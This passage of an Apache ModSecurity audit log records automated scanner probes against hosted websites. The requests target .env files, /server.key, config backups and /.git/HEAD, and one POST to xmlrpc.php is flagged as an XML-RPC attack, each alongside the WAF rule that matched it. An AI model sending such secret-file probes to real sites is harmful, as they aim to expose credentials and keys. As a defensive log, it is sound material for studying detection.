Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2601bf46-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=50aea3f25ab1ce4a5824f0845e7b44251750013661; expires=Sun, 15 Jun 2025 19:54:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2601bf46-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env.example"] [unique_id "aE8W3Znj7pFxi-BGHz6nqwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013661097593 663945 (- - -) Stopwatch2: 1750013661097593 663945; combined=1786, p1=369, p2=1327, p3=0, p4=0, p5=90, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2601bf46-Z-- --5988995b-A-- [16/Jun/2025:00:24:35.502490 +0530] aE8W6qSMmxZaGWa7XLL6jAAAAAY 185.177.72.210 48754 127.0.0.1 7081 --5988995b-B-- GET /:8443/.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5988995b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=36a547c0a6c2ac0ef8aca572bbe034331750013675; expires=Sun, 15 Jun 2025 19:54:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5988995b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.back"] [unique_id "aE8W6qSMmxZaGWa7XLL6jAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013674830845 671752 (- - -) Stopwatch2: 1750013674830845 671752; combined=1885, p1=386, p2=1377, p3=0, p4=0, p5=122, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5988995b-Z-- --db0b996e-A-- [16/Jun/2025:00:24:57.939841 +0530] aE8XAShnDkBlcF0fkxMI1QAAAAQ 185.177.72.210 54994 127.0.0.1 7081 --db0b996e-B-- GET /.env.www HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --db0b996e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=44a2bca35deb68bdb253d04076ac61111750013697; expires=Sun, 15 Jun 2025 19:54:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --db0b996e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.www"] [unique_id "aE8XAShnDkBlcF0fkxMI1QAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013697286162 653742 (- - -) Stopwatch2: 1750013697286162 653742; combined=1621, p1=356, p2=1170, p3=0, p4=0, p5=94, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --db0b996e-Z-- --eb577e07-A-- [16/Jun/2025:00:25:13.462490 +0530] aE8XECKD19h5xDtM-2wW7gAAAAo 185.177.72.210 40022 127.0.0.1 7081 --eb577e07-B-- GET /:8000/example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --eb577e07-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=38ff2952639f860f3967c9e1c6322d311750013713; expires=Sun, 15 Jun 2025 19:55:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --eb577e07-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/example/.env"] [unique_id "aE8XECKD19h5xDtM-2wW7gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013712801290 661277 (- - -) Stopwatch2: 1750013712801290 661277; combined=1944, p1=357, p2=1467, p3=0, p4=0, p5=120, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --eb577e07-Z-- --c47dd729-A-- [16/Jun/2025:00:25:16.432880 +0530] aE8XE1N7jBJHKxYIrrCyhAAAAAk 185.177.72.210 40186 127.0.0.1 7081 --c47dd729-B-- GET /:8443/temp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c47dd729-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=61297772d0c59686c3ea29cbae5e1e9b1750013716; expires=Sun, 15 Jun 2025 19:55:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c47dd729-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/temp/.env"] [unique_id "aE8XE1N7jBJHKxYIrrCyhAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013715777756 655216 (- - -) Stopwatch2: 1750013715777756 655216; combined=1879, p1=353, p2=1436, p3=0, p4=0, p5=90, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c47dd729-Z-- --22878426-A-- [16/Jun/2025:00:25:21.006330 +0530] aE8XGJnj7pFxi-BGHz6nzAAAAAI 128.199.112.101 35714 127.0.0.1 7081 --22878426-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --22878426-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --22878426-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8XGJnj7pFxi-BGHz6nzAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013720075453 930948 (- - -) Stopwatch2: 1750013720075453 930948; combined=2383, p1=392, p2=1515, p3=54, p4=78, p5=216, sr=103, sw=128, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --22878426-Z-- --3b3e0f18-A-- [16/Jun/2025:00:25:21.558627 +0530] aE8XGC7MaF0j8lD2KTISmQAAAAM 185.177.72.210 35732 127.0.0.1 7081 --3b3e0f18-B-- GET /server.key HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3b3e0f18-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aefe295dea24c1fa6929349307c0349c1750013721; expires=Sun, 15 Jun 2025 19:55:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3b3e0f18-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/server.key"] [unique_id "aE8XGC7MaF0j8lD2KTISmQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013720898025 660663 (- - -) Stopwatch2: 1750013720898025 660663; combined=1926, p1=333, p2=1489, p3=0, p4=0, p5=104, sr=101, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3b3e0f18-Z-- --8719873e-A-- [16/Jun/2025:00:25:27.461630 +0530] aE8XHihnDkBlcF0fkxMI8gAAAAQ 185.177.72.210 37112 127.0.0.1 7081 --8719873e-B-- GET /:8888/tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8719873e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=740a42e1df187048b91c8aa9e12e1cc41750013727; expires=Sun, 15 Jun 2025 19:55:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8719873e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/tmp/.env"] [unique_id "aE8XHihnDkBlcF0fkxMI8gAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013726797320 664378 (- - -) Stopwatch2: 1750013726797320 664378; combined=1617, p1=341, p2=1174, p3=0, p4=0, p5=102, sr=80, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8719873e-Z-- --5b796a11-A-- [16/Jun/2025:00:25:28.435465 +0530] aE8XH8eCLQXSV5p8-VEemQAAAAA 185.177.72.210 37182 127.0.0.1 7081 --5b796a11-B-- GET /config.inc.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5b796a11-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=26a373953354050dd64e32aaa5a3c0c61750013728; expires=Sun, 15 Jun 2025 19:55:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b796a11-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".inc.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.inc.bak"] [unique_id "aE8XH8eCLQXSV5p8-VEemQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013727784132 651408 (- - -) Stopwatch2: 1750013727784132 651408; combined=1947, p1=358, p2=1483, p3=0, p4=0, p5=106, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b796a11-Z-- --833dac0e-A-- [16/Jun/2025:00:25:31.419465 +0530] aE8XIpnj7pFxi-BGHz6n2gAAAAI 185.177.72.210 55648 127.0.0.1 7081 --833dac0e-B-- GET /restapi/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --833dac0e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d11acbb238a7b00d8c034c023e07a1671750013731; expires=Sun, 15 Jun 2025 19:55:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --833dac0e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/restapi/.env"] [unique_id "aE8XIpnj7pFxi-BGHz6n2gAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013730770422 649115 (- - -) Stopwatch2: 1750013730770422 649115; combined=1580, p1=335, p2=1160, p3=0, p4=0, p5=85, sr=84, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --833dac0e-Z-- --4b5d915f-A-- [16/Jun/2025:00:25:35.159837 +0530] aE8XJpnj7pFxi-BGHz6n3AAAAAI 185.177.72.210 55784 127.0.0.1 7081 --4b5d915f-B-- GET /private/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4b5d915f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5b7d961c245b0f9ad6adf4be67c97cbb1750013735; expires=Sun, 15 Jun 2025 19:55:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4b5d915f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/private/.env.example"] [unique_id "aE8XJpnj7pFxi-BGHz6n3AAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013734493350 666582 (- - -) Stopwatch2: 1750013734493350 666582; combined=2012, p1=447, p2=1463, p3=0, p4=0, p5=102, sr=107, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4b5d915f-Z-- --9b97945c-A-- [16/Jun/2025:00:25:47.020935 +0530] aE8XMleqy5hRjKvJEAyXVAAAAAE 185.177.72.210 46406 127.0.0.1 7081 --9b97945c-B-- GET /:8081/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9b97945c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3070599b7bcd7328a4e2cfb3296a76f31750013746; expires=Sun, 15 Jun 2025 19:55:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9b97945c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8081/.env"] [unique_id "aE8XMleqy5hRjKvJEAyXVAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013746306990 714010 (- - -) Stopwatch2: 1750013746306990 714010; combined=153477, p1=426, p2=1393, p3=0, p4=0, p5=75870, sr=107, sw=0, l=0, gc=75788 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9b97945c-Z-- --5c98415d-A-- [16/Jun/2025:00:26:20.635288 +0530] aE8XVChnDkBlcF0fkxMJFAAAAAQ 185.177.72.3 36578 127.0.0.1 7081 --5c98415d-B-- GET /api/.env HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --5c98415d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --5c98415d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/api/.env"] [unique_id "aE8XVChnDkBlcF0fkxMJFAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013780055659 579691 (- - -) Stopwatch2: 1750013780055659 579691; combined=1723, p1=398, p2=1237, p3=0, p4=0, p5=88, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5c98415d-Z-- --add01c02-A-- [16/Jun/2025:00:26:21.125180 +0530] aE8XVJnj7pFxi-BGHz6n-QAAAAI 185.177.72.3 36602 127.0.0.1 7081 --add01c02-B-- GET /.git/HEAD HTTP/1.0 Host: www.bspsons.com X-Real-IP: 185.177.72.3 X-Accel-Internal: /internal-nginx-static-location Connection: close Accept: */* Accept-Encoding: gzip, deflate User-Agent: Python/3.12 aiohttp/3.12.13 --add01c02-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Link: <https://www.bspsons.com/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 --add01c02-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.bspsons.com"] [uri "/.git/HEAD"] [unique_id "aE8XVJnj7pFxi-BGHz6n-QAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/bspsons.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750013780069213 1056045 (- - -) Stopwatch2: 1750013780069213 1056045; combined=1995, 